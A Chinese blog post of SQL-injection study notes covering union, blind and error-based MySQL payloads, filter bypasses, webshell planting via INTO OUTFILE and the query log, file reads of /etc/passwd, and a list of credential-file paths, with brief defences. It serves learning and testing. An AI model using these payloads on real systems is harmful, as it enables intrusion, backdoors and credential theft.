本文最后更新于:星期二, 六月 16日 2020, 3:18 下午
最近复习准备面试,复习到SQL注入这一块,把平时遇到的SQL注入做一些总结归纳,做些笔记(要不老是容易忘,以后可以当做参考
而且自己fuzz什么的还是比较菜,得好好学习
持续更新
什么是SQL注入?
SQL注入指将恶意的SQL命令插入到开发者设置的SQL语句中,违背了SQL语句原本的意图,达到执行恶意SQL命令的目的。SQL注入一般发生在开发者没有对用户的输入数据进行严格的限制/转义,致使用户在输入一些特定的字符时,在与后端设定的SQL语句拼接时产生了歧义,使得用户可以控制该条SQL语句与数据库进行通信。
SQL注入分类
按变量类型分类:
- 数字型
- 字符型
按SQL语句提交方式分类:
- GET注入
- POST注入
- Cookie注入
- Session注入
按注入方式分类:
有回显:
- 联合爆破查询注入(union select)
- 堆叠注入
无回显:
- 报错注入
- 时间盲注
- 布尔盲注
SQL常见语句格式
SQL语句的四大类,也是web应用中常用到的就是:增、删、查、改
- 增:
INSERT INTO <table_name>(<column_name>, ...) VALUES(<value>, ...)
- 删:
DELETE FROM <table_name> WHERE <condition>
- 查:
SELECT <column>[, <expression>] FROM <table_name> WHERE <condition>
- 改:
UPDATE <table_name> SET <column_name>=<expression>[, <column_name>=<expression>] WHERE <condition>
SQL注入一般发生在查询语句中,因为Web应用与数据库的交互一般是以查询实现的。
常见注入方法详解
联合爆破查询注入
联合查询注入发生在你输入的参数被直接拼接在WHERE
语句之后时,例如:
$conn = mysqli_connect($host, $user, $passwd, $db)
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from users where username='".$username."' and password='".$password."';";
$res = mysqli_query($conn, $sql)
此时如果单引号、union、select 都没有被过滤,我们就可以使用联合爆破查询来进行SQL注入,步骤如下:
使用
order by/group by
语句确定字段数量(确定字段数量的原因:
union select
要求两个查询字段数相同)通过往SQL语句后面拼接
order by/group by
语句,可以确定字段数量,若拼接的数字大于字段数量,则页面出现显示错误/或回显,若小于或等于字段数量,则回显正常。(因为order by/group by
的语义是以哪一列作为标准排序/聚合,当指定到不存在的列数时,则会出现错误)payload:
' or 1=1 order by 1#
判断页面会将字段中的哪一列作为数据回显
Web应用可能只将字段中的某一列作为结果回显,所以需要做一下判断。使用
union select 1,2,3,...
将我们输入的数字显示在页面上,可以很快的找到页面上显示的是哪一个字段在有回显的字段上使用子查询来获取数据库相关信息
相关的信息函数包括:
数据库名:
database()
数据库版本号:
version()
数据库账户:
user()
操作系统:
@@version_compile_os
随后再根据不同的数据库版本使用不同的联合爆破查询策略。
MySQL version() >= 5.0
若MySQL的版本大于5.0,则MySQL中有一个很方便的系统库information_schema
,其中存放着数据库名、表名、列名、用户等一系列信息。
其中有三个比较重要的表:
information_schema.schemata
:存放着所有数据库的信息information_schema.tables
:存放着所有数据表的信息information_schema.columns
:存放着所有列的信息
其中,information_schema.tables
和information_schema.columns
的结构如下:
可以先查询所有数据库的名称(如果需要跨数据库的话)
union select 1, 2, schema_name from information_schema.schemata
首先查询当前数据库中所有的表名
union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database()
其中
group_concat()
可以将多行数据转化为一行利用查询到的表名查询感兴趣的表中的列名
union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='<table_name>'
知道了数据库、数据表、字段名,则直接进行联合查询即可
union select 1,2,group_concat(<column_name>) from [<schema_name>.]<table_name>
MySQL version() < 5.0
MySQL小于5.0的版本就没有了information_schema
这个系统数据库,所以通常情况下我们无法查询得到表名,字段名等信息,这个时候就只能靠猜了- -
布尔盲注
布尔盲注使用的条件是:页面对于SQL语句的返回结果不予以显示,并且对于真条件(true)和假条件(false)的返回内容存在差异
我们可以使用永真条件(or 1=1)和永假条件(and 1=2)来判断页面返回的内容是否存在差异,从而确定是否可以使用布尔盲注
比如在Web应用的登录功能,使用如下语句判断用户是否存在:
select * from users where username=$username
当用户不存在时,返回用户名不存在,存在时提示密码错误,这样页面返回的内容存在差异,可以使用布尔盲注。
使用如下payload:' or length(database())>5
如果页面返回正常,说明数据库名的长度确实大于5
当服务端还会判断取出的数据仅有几列时,需要使用到limit
字句来限制查询到的数据量,例如
select * from users where username='' or length(database())>5 limit 0,1
该语句的意思是查询结果只取从第0行开始的一行,即第0行本身(MySQL计算行数从0开始),若需要取两行则使用limit 0,2
常用函数
- 判断字段、表名、数据库名长度
length()
:用于判断字符串长度,使用方法:length(database()>5)
- 字符串截取
substring(str, pos[, len])
:用于截取字符串,可用于爆破字段名等…。注意MySQL的截取是从1开始计算的,例如:substring('hahaha',3)=='haha'
substr()
:等价于substring()
mid()
:等价于substring()
left(str, length)
:顾名思义,从最左端截取length长度的字符串right(str, length)
:顾名思义,从最右端截取length长度的字符串substring_index(str, delim, count)
:截取str
中第count
个delim
之前的所有字符
- 判断字符
ascii(str)
:返回字符串str
的最左面字符的ASCII代码值,常用于逐字拆解,可以结合二分法使用,使用方式:ascii(substr(database(),1,1))<130
ord(str)
:与ascii()
类似
- 条件判断
if(a, b, c)
:a
为条件,若a
为true
,则返回b
,否则返回c
,使用方法:if(1>2,1,0)
,返回0
- 判断查询结果是否存在
exists(condition)
:该语句中的条件语句可以返回记录行时,条件就为真
时间盲注
时间盲注的条件比布尔盲注更加宽松,它不需要页面有任何的回显,它通过判断页面返回内容的响应时间差异进行条件判断
通常我们利用可以产生时间延迟的函数来进行时间盲注,例如:sleep()
、benchmark()
、以及许多进行复杂运算的函数(笛卡尔积合并数据表、GET_LOCK双SESSION产生延迟等方法),下面是一个简单的例子
select * from users where username='' or if(length(database())>5,sleep(4),1)
在上面的例子里,如果数据库名长度大于5,服务器则会延迟4s给出结果,否则无延迟直接返回(sleep()
延迟的时间可以自行决定,原则上只要满足易于区分,并兼顾效率即可)
常用函数
sleep(time)
:使结果延迟time
秒返回benchmark(count, expr)
:该函数会重复计算expr
表达式count
次,这个表达式返回的值为0,但是可以用这个函数来起到延时的效果,使用方式:if(length(database())>5,benchmark(10000000,SHA(1)),1)
,benchmark(10000000,SHA(1))
执行时间大概为4s,取决于服务器,可以自行测试,适当调整笛卡尔积:例如,
select count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C
,MySQL会将A、B、C三个表进行笛卡尔积之后再执行count(*)
,大量的笛卡尔积会耗费很多时间(但是时延不可控,对大站可能会有很高的延迟)get_lock(str, timeout)
:这个函数需要有两个session同时包含一个变量,当我们第一个session锁定了str
变量,第二个session再尝试包含次变量是就会有timeout
秒的延时(使用条件比较苛刻,而且要求Web应用支持SQL的长连接,比如Apache+PHP中的mysql_pconnect()
)RLIKE:正则匹配,正则匹配在匹配较长字符串但自由度比较高的字符串时,会造成比较大的计算量,我们通过
rpad
或repeat
构造长字符串,加以计算量大的pattern,通过控制字符串长度我们可以控制延时。
例如:mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b'); +-------------------------------------------------------------+ | rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') | +-------------------------------------------------------------+ | 0 | +-------------------------------------------------------------+ 1 row in set (5.22 sec)
报错注入
报错注入的使用条件是:服务器开启报错信息返回,也就是发生错误时返回报错信息。
我们可以利用特殊函数的错误使用使其参数被页面输出,常用的函数有:exp()、floor()+rand()、updatexml()、extractvalue()
等
常用函数
exp()
:该函数是计算以e为底的指数函数,在MySQL中当里面的参数大于709时就会报错,使用方法:select exp(~(select * from(select database())x))
,但是高版本已经修复了这个漏洞floor()+rand()
:也就是我们常说的双查询注入,使用方法:select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;
这样可以查询到version()
的值updatexml(xml_document, xpath_string, new_value)
:当updatexml()
的第二个参数不符合xpath格式时,就会报错并进行输出,使用方法:select * from users where username=$username or updatexml(1,concat(0x7e,(select user()),0x7e),1)
,这是通过在user()
的结果前后加上~
使其不满足xpath格式,从而输出的extractvalue(xml_document, path)
:第二个参数是xml文档的路径,查询不到也不会报错,但是必须满足/xxx/xxx/xxx
的格式,否则会报错,使用方法:select * from users where username=$username or extractvalue(1, concat(0x7e,(select database())))
,这样报错就会输出~databese()
的值
SQL注入防御
SQL语句预编译+绑定变量
使用SQL语句预编译,例如SQL语句select id,username from user where id=?
预先编译好,那么SQL引擎会预先进行语法分析,产生语法树,生成执行计划,那么无论后面输入的参数是什么,都不会影响该SQL语句的语法结构(SQL语句的执行需要通过语法分析,但既然语法分析已经执行完毕,后面无论输入什么参数都不会被作为SQL命令执行)
正则表达式或转义(严格检查输入参数)
使用正则表达式,严格限制输入参数不可以含有类似大于号,单引号,等于号,等等这些特殊符号。有一些编程语言会提供转义特殊字符的函数,比如PHP的mysql_real_escape_string()
SQL注入的相关Bypass以及Trick
绕过关键词检测
使用16进制对字符串进行编码
set @a=0x73656C65637420646174616261736528293B; # @a='select database();' prepare diaossama from @a; execute diaossama;
使用
char()
函数转换字符串select char(116,101,115,116); # test
仅知道表名而不知道字段名
可以使用以下payload绕过字段名:
- 表中仅单字段:
select *,1,2 from <table_name>
- 表中有多字段:
select `1` from (select 1,2,3,4 from <table_name> union select * from <table_name>)a
(这样操作可以获取表中的第一列信息)
Cast()盲注
来源于ichunqiu新春公益赛的Ezsqli题,贴一个出题师傅的出题思路:https://www.smi1e.top/新春战疫公益赛-ezsqli-出题小记/
PDO场景下的注入
利用MySQL写入文件
select … into outfile/ into dumpfile
该语句的语法如下
select 123 into outfile '/tmp/test.txt'
一般我们使用into outfile
快速写入一句话后门时经常会使用的一种写法是(into dumpfile
同理)
update mysql.user set file_priv='Y' where user='root';
flush privilleges;
select concat("",0x3C3F70687020406576616C28245F504F53545B2778275D293B3F3E) into outfile '.test.php';
update mysql.user set file_priv='N' where user='root';
flush privilleges;
secure_file_priv
但有时候我们在写入时可能会遇到报错The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
MySQL的新特性secure_file_priv
会对读写文件造成影响,我们可以用以下命令来读取配置项:show variables like "secure_file_priv"
- 当该变量的值为
NULL
时,表示MySQL不允许导入导出(也就是说load_data()
以及load data infile ... into table ...
也不可以使用了) - 当该变量的值为某一路径时,表示MySQL的导入和导出被限制在那个路径下
- 如果该变量无值,则说明无限制
利用日志写入
在secure_file_priv
为NULL
的情况下,我们是没有办法在MySQL中进行导入导出的,但是可以利用日志来进行shell的写入
可以先看看log的位置,show variables like 'general_log%'
那么使用日志写入shell的方式如下
- 开启日志记录:
set global general_log='on'
- 将日志文件导出到指定目录:
set global general_log_file='xxxxx.php'
- 最后执行
select
语句,例如:select '<?php eval($POST["diaossama"]);?>'
这样我们执行该语句的过程就会被记录到日志中去
....
50 Query select '<?php eval($POST["diaossama"]);?>'
....
成功写入一句话木马
利用MySQL读取文件
load_file(‘path’)
使用方式
select load_file('/etc/passwd');
select load_file(0x2F6574632F706173737764);
防止文件中有非法字符,可以先将其编码
select hex(load_file('/etc/passwd'));
Rogue-MySQL-Server
伪造一个恶意的MySQL Server,利用load data infile
这一语句的漏洞实现客户端任意文件读取。该语句的功能是:读取一个文件内容并插入到表中
load data infile
语句读取客户端文件的语法如下:
load data local infile "/tmp/test.csv" into table test
这一语句发送执行后,客户端和服务端正常的执行流程如下:
- Client:我把我本地
/tmp/test.csv
的内容插入到 test 表中去- Server:请把你本地
/tmp/test.csv
的内容发送给我- Client:好的,这是我本地
/tmp/test.csv
的内容- Server:成功/失败
正常情况下这个流程是没问题的,但问题在于客户端并不知道自己的上一条命令具体发送了什么,所以客户端第二次要发送什么文件完全取决于服务端,那我们只需要构造一个恶意的服务端,就可以非法拿到服务器上的任意文件
payload:https://github.com/allyshka/Rogue-MySql-Server
UDF提权
附录
一些常用路径
windows
#查看系统版本
c:/boot.ini
#php配置信息
c:/windows/php.ini
#MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/windows/my.ini
c:/winnt/php.ini
c:/winnt/my.ini
#存储了mysql.user表中的数据库连接密码
c:\mysql\data\mysql\user.MYD
#存储了虚拟主机网站路径和密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
c:\Program Files\Serv-U\ServUDaemon.ini
#查看IIS的虚拟主机配置
c:\windows\system32\inetsrv\MetaBase.xml
#存储了WINDOWS系统初次安装的密码
c:\windows\repair\sam
#6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\ Serv-U\ServUAdmin.exe
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
#存储了pcAnywhere的登陆密码
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
#查看WINDOWS系统apache文件
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf
#查看jsp开发的网站 resin文件配置信息.
c:/Resin-3.0.14/conf/resin.conf
#查看linux系统配置的JSP虚拟主机
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
#存在MYSQL系统中的用户密码
C:\mysql\data\mysql\user.MYD
Linux
#apache2缺省配置文件
/usr/local/app/apache2/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
#虚拟网站设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
#PHP相关设置
/usr/local/app/php5/lib/php.ini
#从中得到防火墙规则策略
/etc/sysconfig/iptables
#apache配置文件
/etc/httpd/conf/httpd.conf
#同步程序配置文件
/etc/rsyncd.conf
#mysql的配置文件
/etc/my.cnf
#系统版本
/etc/redhat-release
/etc/issue
/etc/issue.net
#PHP相关设置
/usr/local/app/php5/lib/php.ini
#虚拟网站设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
#查看linux APACHE虚拟主机配置文件
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf
#针对3.0.22的RESIN配置文件查看
/usr/local/resin-3.0.22/conf/resin.conf
/usr/local/resin-pro-3.0.22/conf/resin.conf
#APASHE虚拟主机查看
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
#查看linux APACHE虚拟主机配置文件
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf
#针对3.0.22的RESIN配置文件查看
/usr/local/resin-3.0.22/conf/resin.conf
/usr/local/resin-pro-3.0.22/conf/resin.conf
#APASHE虚拟主机查看
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!